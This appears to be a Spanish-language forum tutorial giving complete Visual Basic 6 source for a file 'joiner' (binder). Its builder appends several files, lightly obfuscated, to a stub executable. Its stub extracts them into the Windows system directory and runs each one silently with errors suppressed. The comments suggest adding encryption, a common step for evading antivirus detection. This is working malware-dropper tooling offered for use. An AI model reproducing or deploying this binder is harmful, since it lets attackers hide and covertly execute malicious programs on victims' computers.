Código: Seleccionar todo

Private Sub Añadir_Click()
On Error GoTo Error 'Si hay error nos vamos a Error: y mostramos un MsgBox.
GA.Filter = "Todos los archivos (*.*)"
GA.ShowOpen 'Mostramos el dialogo para abrir.
Lista.AddItem GA.FileName 'Añadimos a lista la dirección del archivo.
Exit Sub 'Salimos si no hay ningún problema.
Error:
MsgBox "Error al abrir el archivo", vbCritical, "Error"
End Sub

Private Sub Eliminar_Click()
lsFiles.RemoveItem Index
Exit Sub
Error:
MsgBox "Selecciona un archivo", vbCritical, "Error"
End Sub

Private Sub Juntar_Click()
'Definimos variables
Dim Ap1 As String
Dim file As String
Dim ext1 As String
Dim filed As String
Dim i As Integer
Dim nombre As String
If Lista.ListCount < 2 Then
MsgBox "Selecciona más de un archivo", vbCritical, "Error"
Exit Sub
End If
GA.FileName = "Joiner"
GA.DialogTitle = "Guardar Como..."
GA.DefaultExt = "*.exe"
GA.ShowSave 'Le decimos donde se creará el archivo final.
FileCopy App.Path & "\stub.exe", GA.FileName
For i = 0 To Lista.ListCount - 1 'Vamos cojiendo los archivos de Lista.
Open Lista.List(i) For Binary As #1 'Abrimos el archivo
file = Space(LOF(1)) ' La variable file pasa a tener el tamaño del archivo.
Get #1, , file 'Introducimos el archivo en la variable file.
Close #1
filed = StrReverse(file) 'Hacemos un intento de cifrado, si tenemos algun modulo de cifrado esta es la hora de utilizarlo.
file = "" 'limpiamos la variable
Text1.Text = Lista.List(i)
ext1 = Ext(Text1.Text) ' Aquí ext1 contiene la extension del archivo.
nombre = Nam(Text1.Text) 'Cojemos el nombre del archivo en nombre.
Ap1 = Ap1 & "/separador/" & filed & "/separador/" & ext1 & "/separador/" & nombre 'Colocamos todos los archivo en Ap1 separado por la MARCA “/separador/” fijaros en como se colocan y que hay entre ellos.
Next 'Pasamos al siguiente archivo
Open GA.FileName For Binary As #1 'Creamos el archivo de cuando lemostramos el dialogo para guardar ( ShowSave)
Seek (1), LOF(1) + 1 'Nos vamos al final del archivo
Put #1, , Ap1 'Introducimos todos los archivos separados por las marcas.
Close #1
MsgBox "Archivos Juntados", vbOKOnly, "AVISO"

End Sub
Public Function Nam(ruta As String)
Dim fullname As String
fullname = Mid$(ruta, InStrRev(ruta, "\") + 1)
Nam = Mid$(fullname, 1, InStrRev(fullname, ".") - 1)
End Function
Public Function Ext(ruta As String)
fullname = Mid$(ruta, InStrRev(ruta, "\") + 1)
Ext = Mid$(fullname, InStrRev(fullname, ".") + 1)
End Function

Código: Seleccionar todo

Option Explicit
'Declaramos unas variables en General
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" _
(ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As _
String, ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long 'Para ejecutar nuestros archivos

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'Para saber el directorio del sistema

Dim buf As String
Dim ret As Long
Private Sub Form_Load()
On Error Resume Next 'Si hay algun error que no avise y que siga

'Variables
Dim Ext1 As String
Dim nombre As String
Dim file As String
Dim file2() As String
Dim Archivo As String
Dim filed As String
Dim ruta As String
Dim i As Integer
Dim x As Integer
Dim fins As Integer
Dim ruta2 As String

buf = String$(260, Chr$(0))
ret = GetSystemDirectory(buf, Len(buf))
ruta = Left$(buf, ret) 'ruta pasa a valer la direccion del directorio del sistema.

ruta2 = App.Path & "\" & App.EXEName & ".exe" 'Ruta pasa a valer nuestra ruta para podernos abrir.

Open ruta2 For Binary As #1 'Nos abrimos
Archivo = Input(LOF(1), #1) ' Archivo vale a nosotros.
Close #1

Archivo = Trim(Archivo) 'Quitamos caracteres invalidos.
file2 = Split(Archivo, "/separador/") 'Separamos el archivo por las marcas.

fins = UBound(file2) / 3 'fins vale a todas las separaciones creadas por la marca entre tres, ya que queremos hacer bloques de tres; Archivo, nombre, extensión.

x = 1

For i = 1 To fins 'Comenzamos el bucle hasta lo que valga fins

file = Trim(file2(x)) 'Cojemos el archivo activo del bucle.
x = x + 1
Ext1 = Trim(file2(x)) 'Cojemos la extensión...
x = x + 1
nombre = Trim(file2(x)) 'Cojemos el nombre...
x = x + 1

filed = Trim(StrReverse(file)) 'Desciframos

Open ruta & "\" & nombre & "." & Ext1 For Binary As #1 ' Creamos el primer archivo
Put #1, , filed 'Le añadimos su archivo.
Close #1

ShellExecuteA 0&, "Open", ruta & "\" & nombre & "." & Ext1, vbNullString, vbNullString, 1  'Ejecutamos el archivo activo del bucle.

file = ""
filed = ""
Next

End 'Terminamos el Stub ya que si no quedaría ejecutandose en memoria.
End Sub